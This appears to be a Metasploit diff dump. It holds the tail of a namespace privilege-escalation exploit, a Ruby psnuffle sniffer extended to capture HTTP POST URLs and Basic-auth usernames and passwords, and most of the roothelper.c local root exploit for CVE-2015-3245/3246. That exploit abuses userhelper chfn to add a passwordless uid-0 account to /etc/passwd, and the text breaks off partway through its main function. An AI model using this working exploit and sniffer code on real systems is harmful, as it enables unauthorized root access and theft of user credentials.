fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
|
||||
break;
|
||||
}
|
||||
if(statBuf.st_uid==0) {
|
||||
fprintf(stderr, "Executable now root-owned\n");
|
||||
goto escalateOk;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");
|
||||
|
||||
preReturnCleanup:
|
||||
if(namespacedProcessPid>0) {
|
||||
if(killNamespacedProcessFlag) {
|
||||
kill(namespacedProcessPid, SIGKILL);
|
||||
} else {
|
||||
// We used an existing namespace or chroot to escalate. Remove
|
||||
// the files created there.
|
||||
fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
|
||||
}
|
||||
}
|
||||
|
||||
if(!exitStatus) {
|
||||
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
|
||||
invokeShell("/proc/self/exe");
|
||||
exitStatus=1;
|
||||
}
|
||||
return(exitStatus);
|
||||
|
||||
escalateOk:
|
||||
exitStatus=0;
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
BIN
Binary file not shown.
@@ -1,22 +1,24 @@
|
||||
# Psnuffle password sniffer add-on class for HTTP GET URL's
|
||||
# Psnuffle password sniffer add-on class for HTTP URLs
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# Very simple example how to write sniffer extensions
|
||||
#
|
||||
|
||||
# Sniffer class for GET URL's
|
||||
#
|
||||
# Sniffer class for GET/POST URLs.
|
||||
# Also extracts HTTP Basic authentication credentials.
|
||||
#
|
||||
class SnifferURL < BaseProtocolParser
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST\:\s+([^\n\r]+)/i,
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST:\s+([^\n\r]+)/i,
|
||||
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
# We want to return immediantly if we do not have a packet which is handled by us
|
||||
# We want to return immediately if we do not have a packet which is handled by us
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
|
||||
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
|
||||
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
@@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser
|
||||
case matched
|
||||
when :webhost
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
if(s[:get])
|
||||
if s[:get]
|
||||
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
end
|
||||
if s[:post]
|
||||
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
@@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser
|
||||
end # end of each_key
|
||||
end # end of parse
|
||||
end # end of URL sniffer
|
||||
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,976 @@
|
||||
/*
|
||||
* roothelper.c - an unusual local root exploit against:
|
||||
* CVE-2015-3245 userhelper chfn() newline filtering
|
||||
* CVE-2015-3246 libuser passwd file handling
|
||||
* Copyright (C) 2015 Qualys, Inc.
|
||||
*
|
||||
* gecos_* types and functions inspired by userhelper.c
|
||||
* Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
|
||||
*
|
||||
* UH_* #defines and comments inspired by userhelper.h
|
||||
* Copyright (C) 1997-2001, 2007 Red Hat, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <limits.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* A maximum GECOS field length. There's no hard limit, so we guess. */
|
||||
#define GECOS_LENGTH 127
|
||||
|
||||
typedef char gecos_field[GECOS_LENGTH];
|
||||
|
||||
/* A structure to hold broken-out GECOS data. The number and names of the
|
||||
* fields are dictated entirely by the flavor of finger we use. Seriously. */
|
||||
struct gecos_data {
|
||||
gecos_field full_name; /* full user name */
|
||||
gecos_field office; /* office */
|
||||
gecos_field office_phone; /* office phone */
|
||||
gecos_field home_phone; /* home phone */
|
||||
gecos_field site_info; /* other stuff */
|
||||
};
|
||||
|
||||
static struct userhelper {
|
||||
struct gecos_data gecos;
|
||||
rlim_t fsizelim;
|
||||
pid_t pid;
|
||||
int fd;
|
||||
} userhelpers[GECOS_LENGTH];
|
||||
|
||||
static void
|
||||
die_in_parent(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
|
||||
fflush(stderr);
|
||||
|
||||
unsigned int i;
|
||||
for (i = 0; i < GECOS_LENGTH; i++) {
|
||||
const pid_t pid = userhelpers[i].pid;
|
||||
if (pid <= 0) continue;
|
||||
kill(pid, SIGKILL);
|
||||
}
|
||||
_exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void
|
||||
die_in_child(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
|
||||
#define die() die_fn(__FILE__, __LINE__, __func__)
|
||||
|
||||
static void *
|
||||
xmalloc(const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const ptr = malloc(size);
|
||||
if (ptr == NULL) die();
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static void *
|
||||
xrealloc(void *const old, const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const new = realloc(old, size);
|
||||
if (new == NULL) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static char *
|
||||
xstrndup(const char *const old, const size_t len)
|
||||
{
|
||||
if (old == NULL) die();
|
||||
if (len >= INT_MAX) die();
|
||||
|
||||
char *const new = strndup(old, len);
|
||||
|
||||
if (new == NULL) die();
|
||||
if (len != strlen(new)) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static int
|
||||
xsnprintf(char *const str, const size_t size, const char *const format, ...)
|
||||
{
|
||||
if (str == NULL) die();
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
if (format == NULL) die();
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, format);
|
||||
const int len = vsnprintf(str, size, format, ap);
|
||||
va_end(ap);
|
||||
|
||||
if (len < 0) die();
|
||||
if ((unsigned int)len >= size) die();
|
||||
if ((unsigned int)len != strlen(str)) die();
|
||||
return len;
|
||||
}
|
||||
|
||||
static int
|
||||
xopen(const char *const pathname, const int flags)
|
||||
{
|
||||
if (pathname == NULL) die();
|
||||
if (*pathname != '/') die();
|
||||
if (flags != O_RDONLY) die();
|
||||
|
||||
const int fd = open(pathname, flags);
|
||||
if (fd <= -1) die();
|
||||
|
||||
static const struct flock rdlock = {
|
||||
.l_type = F_RDLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
|
||||
return fd;
|
||||
}
|
||||
|
||||
static void
|
||||
xclose(const int fd)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
static const struct flock unlock = {
|
||||
.l_type = F_UNLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &unlock) != 0) die();
|
||||
if (close(fd) != 0) die();
|
||||
}
|
||||
|
||||
#define GECOS_BADCHARS ":,=\n"
|
||||
|
||||
/* A simple function to compute the size of a gecos string containing the
|
||||
* data we have. */
|
||||
static size_t
|
||||
gecos_size(const struct gecos_data *const parsed)
|
||||
{
|
||||
if (parsed == NULL) die();
|
||||
|
||||
size_t len = 4; /* commas! */
|
||||
len += strlen(parsed->full_name);
|
||||
len += strlen(parsed->office);
|
||||
len += strlen(parsed->office_phone);
|
||||
len += strlen(parsed->home_phone);
|
||||
len += strlen(parsed->site_info);
|
||||
len++;
|
||||
return len;
|
||||
}
|
||||
|
||||
/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
|
||||
Note that the parsing is performed using the convention obeyed by BSDish
|
||||
finger(1) under Linux. */
|
||||
static void
|
||||
gecos_parse(const char *const gecos, struct gecos_data *const parsed)
|
||||
{
|
||||
if (gecos == NULL) die();
|
||||
if (strlen(gecos) >= INT_MAX) die();
|
||||
|
||||
if (parsed == NULL) die();
|
||||
memset(parsed, 0, sizeof(*parsed));
|
||||
|
||||
unsigned int i;
|
||||
const char *field = gecos;
|
||||
|
||||
for (i = 0; ; i++) {
|
||||
const char *field_end = strchrnul(field, ',');
|
||||
gecos_field *dest = NULL;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
dest = &parsed->full_name;
|
||||
break;
|
||||
case 1:
|
||||
dest = &parsed->office;
|
||||
break;
|
||||
case 2:
|
||||
dest = &parsed->office_phone;
|
||||
break;
|
||||
case 3:
|
||||
dest = &parsed->home_phone;
|
||||
break;
|
||||
case 4:
|
||||
// msf note: changed `rawmemchar` to `memchr` for cross-compile
|
||||
//field_end = rawmemchr(field_end, '\0');
|
||||
field_end = memchr(field_end, '\0', 16);
|
||||
dest = &parsed->site_info;
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
const size_t field_len = field_end - field;
|
||||
xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
|
||||
if (strlen(*dest) != field_len) die();
|
||||
|
||||
if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
|
||||
|
||||
if (*field_end == '\0') break;
|
||||
field = field_end + 1;
|
||||
}
|
||||
if (gecos_size(parsed) > GECOS_LENGTH) die();
|
||||
}
|
||||
|
||||
/* Assemble a new gecos string. */
|
||||
static const char *
|
||||
gecos_assemble(const struct gecos_data *const parsed)
|
||||
{
|
||||
static char ret[GECOS_LENGTH];
|
||||
size_t i;
|
||||
|
||||
if (parsed == NULL) die();
|
||||
/* Construct the basic version of the string. */
|
||||
xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
|
||||
parsed->full_name,
|
||||
parsed->office,
|
||||
parsed->office_phone,
|
||||
parsed->home_phone,
|
||||
parsed->site_info);
|
||||
/* Strip off terminal commas. */
|
||||
i = strlen(ret);
|
||||
while ((i > 0) && (ret[i - 1] == ',')) {
|
||||
ret[i - 1] = '\0';
|
||||
i--;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Descriptors used to communicate between userhelper and consolhelper. */
|
||||
#define UH_INFILENO 3
|
||||
#define UH_OUTFILENO 4
|
||||
|
||||
/* Userhelper request format:
|
||||
request code as a single character,
|
||||
request data size as UH_REQUEST_SIZE_DIGITS decimal digits
|
||||
request data
|
||||
'\n' */
|
||||
#define UH_REQUEST_SIZE_DIGITS 8
|
||||
|
||||
/* Synchronization point code. */
|
||||
#define UH_SYNC_POINT 32
|
||||
|
||||
/* Valid userhelper request codes. */
|
||||
#define UH_ECHO_ON_PROMPT 34
|
||||
#define UH_ECHO_OFF_PROMPT 35
|
||||
#define UH_EXPECT_RESP 39
|
||||
#define UH_SERVICE_NAME 40
|
||||
#define UH_USER 42
|
||||
|
||||
/* Consolehelper response format:
|
||||
response code as a single character,
|
||||
response data
|
||||
'\n' */
|
||||
|
||||
/* Consolehelper response codes. */
|
||||
#define UH_TEXT 33
|
||||
|
||||
/* Valid userhelper error codes. */
|
||||
#define ERR_UNK_ERROR 255 /* unknown error */
|
||||
|
||||
/* Paths, flag names, and other stuff. */
|
||||
#define UH_PATH "/usr/sbin/userhelper"
|
||||
#define UH_FULLNAME_OPT "-f"
|
||||
#define UH_OFFICE_OPT "-o"
|
||||
#define UH_OFFICEPHONE_OPT "-p"
|
||||
#define UH_HOMEPHONE_OPT "-h"
|
||||
|
||||
static char
|
||||
read_request(const int fd, char *const data, const size_t size)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (data == NULL) die();
|
||||
if (size >= INT_MAX) die();
|
||||
|
||||
char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
|
||||
if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
|
||||
header[sizeof(header)-1] = '\0';
|
||||
|
||||
errno = 0;
|
||||
char *endptr = NULL;
|
||||
const unsigned long len = strtoul(&header[1], &endptr, 10);
|
||||
if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
|
||||
|
||||
if (len >= size) die();
|
||||
if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
|
||||
if (data[len] != '\n') die();
|
||||
data[len] = '\0';
|
||||
|
||||
if (strlen(data) != len) die();
|
||||
if (strchr(data, '\n') != NULL) die();
|
||||
return header[0];
|
||||
}
|
||||
|
||||
static void
|
||||
send_reply(const int fd, const unsigned char type, const char *const data)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (!isascii(type)) die();
|
||||
if (!isprint(type)) die();
|
||||
if (data == NULL) die();
|
||||
if (strpbrk(data, "\r\n") != NULL) die();
|
||||
|
||||
char buf[BUFSIZ];
|
||||
const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
|
||||
if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
|
||||
}
|
||||
|
||||
#define ETCDIR "/etc"
|
||||
#define PASSWD "/etc/passwd"
|
||||
#define BACKUP "/etc/passwd-"
|
||||
|
||||
static struct {
|
||||
char username[64];
|
||||
char password[64];
|
||||
struct gecos_data gecos;
|
||||
} my;
|
||||
|
||||
static volatile sig_atomic_t is_child_dead;
|
||||
|
||||
static void
|
||||
sigchild_handler(const int signum __attribute__ ((__unused__)))
|
||||
{
|
||||
is_child_dead = true;
|
||||
}
|
||||
|
||||
static int
|
||||
wait_for_userhelper(struct userhelper *const uh, const int options)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid <= 0) die();
|
||||
if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
|
||||
|
||||
int status;
|
||||
for (;;) {
|
||||
const pid_t pid = waitpid(uh->pid, &status, options);
|
||||
if (pid == uh->pid) break;
|
||||
if (pid > 0) _exit(255);
|
||||
|
||||
if (pid != -1) die();
|
||||
if (errno != EINTR) die();
|
||||
}
|
||||
if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
|
||||
return status;
|
||||
}
|
||||
|
||||
static void
|
||||
forkstop_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid != 0) die();
|
||||
if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
|
||||
|
||||
struct rlimit fsize;
|
||||
if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
if (uh->fsizelim > fsize.rlim_max) die();
|
||||
if (uh->fsizelim <= 0) die();
|
||||
fsize.rlim_cur = uh->fsizelim;
|
||||
|
||||
cpu_set_t old_cpus;
|
||||
CPU_ZERO(&old_cpus);
|
||||
if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
|
||||
{ const int cpu = sched_getcpu();
|
||||
if (cpu >= CPU_SETSIZE) die();
|
||||
if (cpu < 0) die();
|
||||
cpu_set_t new_cpus;
|
||||
CPU_ZERO(&new_cpus);
|
||||
CPU_SET(cpu, &new_cpus);
|
||||
if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
|
||||
|
||||
int sv[2];
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
|
||||
|
||||
if (is_child_dead) die();
|
||||
static const struct sigaction sigchild_action = {
|
||||
.sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
|
||||
if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
|
||||
|
||||
uh->pid = fork();
|
||||
if (uh->pid <= -1) die();
|
||||
|
||||
if (uh->pid == 0) {
|
||||
die_fn = die_in_child;
|
||||
if (close(sv[1]) != 0) die();
|
||||
if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
|
||||
if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
|
||||
|
||||
const int devnull_fd = open("/dev/null", O_RDWR);
|
||||
if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
|
||||
if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
|
||||
if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
|
||||
|
||||
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
|
||||
if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
|
||||
if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
|
||||
if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
|
||||
static const struct sched_param sched_param = { .sched_priority = 0 };
|
||||
(void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
|
||||
|
||||
char *const argv[] = { UH_PATH,
|
||||
UH_FULLNAME_OPT, uh->gecos.full_name,
|
||||
UH_OFFICE_OPT, uh->gecos.office,
|
||||
UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
|
||||
UH_HOMEPHONE_OPT, uh->gecos.home_phone,
|
||||
NULL };
|
||||
char *const envp[] = { NULL };
|
||||
execve(UH_PATH, argv, envp);
|
||||
die();
|
||||
}
|
||||
if (die_fn != die_in_parent) die();
|
||||
if (close(sv[0]) != 0) die();
|
||||
uh->fd = sv[1];
|
||||
|
||||
unsigned long expected_responses = 0;
|
||||
for (;;) {
|
||||
char data[BUFSIZ];
|
||||
const char type = read_request(uh->fd, data, sizeof(data));
|
||||
if (type == UH_SYNC_POINT) break;
|
||||
|
||||
switch (type) {
|
||||
case UH_USER:
|
||||
if (strcmp(data, my.username) != 0) die();
|
||||
break;
|
||||
case UH_SERVICE_NAME:
|
||||
if (strcmp(data, "chfn") != 0) die();
|
||||
break;
|
||||
case UH_ECHO_ON_PROMPT:
|
||||
case UH_ECHO_OFF_PROMPT:
|
||||
if (++expected_responses == 0) die();
|
||||
break;
|
||||
case UH_EXPECT_RESP:
|
||||
if (strtoul(data, NULL, 10) != expected_responses) die();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (expected_responses != 1) die();
|
||||
|
||||
const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
|
||||
const int inotify_fd = inotify_init();
|
||||
if (inotify_fd <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
|
||||
IN_OPEN) <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
|
||||
if (errno != ENOENT) die();
|
||||
if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
|
||||
}
|
||||
|
||||
send_reply(uh->fd, UH_TEXT, my.password);
|
||||
send_reply(uh->fd, UH_SYNC_POINT, "");
|
||||
if (close(uh->fd) != 0) die();
|
||||
uh->fd = -1;
|
||||
|
||||
unsigned int state = 0;
|
||||
static const uint32_t transition[] = { IN_CLOSE_WRITE,
|
||||
IN_CLOSE_NOWRITE, IN_OPEN, 0 };
|
||||
for (;;) {
|
||||
if (is_child_dead) die();
|
||||
char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
|
||||
const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
|
||||
if (is_child_dead) die();
|
||||
|
||||
if (_buflen <= 0) die();
|
||||
size_t buflen = _buflen;
|
||||
if (buflen > sizeof(buffer)) die();
|
||||
|
||||
struct inotify_event *ep;
|
||||
for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
|
||||
ep = (struct inotify_event *)(ep->name + ep->len)) {
|
||||
buflen -= sizeof(*ep);
|
||||
|
||||
if (ep->len > 0) {
|
||||
if (buflen < ep->len) die();
|
||||
buflen -= ep->len;
|
||||
if ((ep->mask & IN_CREATE) == 0) die();
|
||||
(void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
|
||||
continue;
|
||||
}
|
||||
if (ep->len != 0) die();
|
||||
while ((ep->mask & transition[state]) != 0) {
|
||||
ep->mask &= ~transition[state++];
|
||||
if (transition[state] == 0) goto stop_userhelper;
|
||||
}
|
||||
}
|
||||
if (buflen != 0) die();
|
||||
}
|
||||
stop_userhelper:
|
||||
if (kill(uh->pid, SIGSTOP) != 0) die();
|
||||
if (close(inotify_fd) != 0) die();
|
||||
|
||||
const int status = wait_for_userhelper(uh, WUNTRACED);
|
||||
if (!WIFSTOPPED(status)) die();
|
||||
if (WSTOPSIG(status) != SIGSTOP) die();
|
||||
|
||||
xclose(lpasswd_fd);
|
||||
if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
|
||||
if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
continue_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->fd != -1) die();
|
||||
if (uh->pid <= 0) die();
|
||||
|
||||
if (kill(uh->pid, SIGCONT) != 0) die();
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, WCONTINUED);
|
||||
if (!WIFCONTINUED(status)) die(); }
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, 0);
|
||||
if (!WIFEXITED(status)) die();
|
||||
if (WEXITSTATUS(status) !=
|
||||
((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
|
||||
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
}
|
||||
|
||||
static void
|
||||
create_backup_of_passwd_file(void)
|
||||
{
|
||||
char backup[] = "/tmp/passwd-XXXXXX";
|
||||
const mode_t prev_umask = umask(077);
|
||||
const int ofd = mkstemp(backup);
|
||||
(void) umask(prev_umask);
|
||||
if (ofd <= -1) die();
|
||||
|
||||
printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
|
||||
const int ifd = xopen(PASSWD, O_RDONLY);
|
||||
for (;;) {
|
||||
char buf[BUFSIZ];
|
||||
const ssize_t len = read(ifd, buf, sizeof(buf));
|
||||
if (len == 0) break;
|
||||
if (len <= 0) die();
|
||||
if (write(ofd, buf, len) != len) die();
|
||||
}
|
||||
xclose(ifd);
|
||||
if (close(ofd) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
delete_lines_from_passwd_file(void)
|
||||
{
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
|
||||
if (fullname_max >= GECOS_LENGTH) die();
|
||||
if (fullname_max <= 0) die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
|
||||
char *contents = NULL;
|
||||
for (;;) {
|
||||
struct stat st;
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= INT_MAX) die();
|
||||
if (st.st_size <= 0) die();
|
||||
|
||||
contents = xrealloc(contents, st.st_size + 1);
|
||||
if (read(fd, contents, st.st_size) != st.st_size) die();
|
||||
contents[st.st_size] = '\0';
|
||||
xclose(fd);
|
||||
|
||||
const char *cp = strstr(contents, fragment);
|
||||
if (cp == NULL) die();
|
||||
cp = strchr(cp + 2, '\n');
|
||||
if (cp == NULL) die();
|
||||
if (cp[1] == '\0') break;
|
||||
|
||||
char *const tp = contents + st.st_size-1;
|
||||
*tp = '\0';
|
||||
if (tp <= cp) die();
|
||||
if (tp - cp > fullname_max) cp = tp - fullname_max;
|
||||
cp = strpbrk(cp, "\n:, ");
|
||||
if (cp == NULL) die();
|
||||
|
||||
const ssize_t fullname_len = tp - cp;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len <= 0) die();
|
||||
|
||||
printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
|
||||
|
||||
struct userhelper *const uh = &userhelpers[0];
|
||||
memset(uh->gecos.full_name, 'A', fullname_len);
|
||||
uh->fsizelim = st.st_size;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
}
|
||||
free(contents);
|
||||
}
|
||||
|
||||
static size_t passwd_fsize;
|
||||
static int generate_userhelpers(const char *);
|
||||
#define IS_USER_LAST "last user in passwd file?"
|
||||
|
||||
static char candidate_users[256];
|
||||
static char superuser_elect;
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
// msf note: don't backup /etc/passwd to /tmp
|
||||
//create_backup_of_passwd_file();
|
||||
|
||||
{ char candidate[] = "a";
|
||||
for (; candidate[0] <= 'z'; candidate[0]++) {
|
||||
if (getpwnam(candidate) != NULL) continue;
|
||||
strcat(candidate_users, candidate);
|
||||
} }
|
||||
if (candidate_users[0] == '\0') die();
|
||||
|
||||
const struct passwd *const pwd = getpwuid(getuid());
|
||||
if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
|
||||
xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
|
||||
gecos_parse(pwd->pw_gecos, &my.gecos);
|
||||
|
||||
if (fputs("Please enter your password:\n", stdout) == EOF) die();
|
||||
if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
|
||||
char *const newline = strchr(my.password, '\n');
|
||||
if (newline == NULL) die();
|
||||
*newline = '\0';
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
retry:
|
||||
if (generate_userhelpers(IS_USER_LAST)) {
|
||||
struct userhelper *const uh1 = &userhelpers[1];
|
||||
strcpy(uh1->gecos.full_name, "\n");
|
||||
uh1->fsizelim = passwd_fsize + 1;
|
||||
|
||||
struct userhelper *const uh0 = &userhelpers[0];
|
||||
uh0->fsizelim = passwd_fsize;
|
||||
|
||||
forkstop_userhelper(uh1), forkstop_userhelper(uh0);
|
||||
continue_userhelper(uh1), continue_userhelper(uh0);
|
||||
if (generate_userhelpers(IS_USER_LAST)) die();
|
||||
}
|
||||
|
||||
static const char a[] = "?::0:0::/:";
|
||||
printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
|
||||
|
||||
const int n = generate_userhelpers(a);
|
||||
if (n == -1) {
|
||||
static int retries;
|
||||
if (retries++) die();
|
||||
memset(userhelpers, 0, sizeof(userhelpers));
|
||||
delete_lines_from_passwd_file();
|
||||
goto retry;
|
||||
}
|
||||
if (n <= 0) die();
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (superuser_elect == '\0') die();
|
||||
|
||||
int i;
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Starting and stopping userhelper #%d\n", i);
|
||||
forkstop_userhelper(&userhelpers[i]);
|
||||
}
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Continuing stopped userhelper #%d\n", i);
|
||||
continue_userhelper(&userhelpers[i]);
|
||||
}
|
||||
printf("Exploit successful, run \"su %c\" to become root\n",
|
||||
(int)superuser_elect);
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
uh->gecos = my.gecos;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
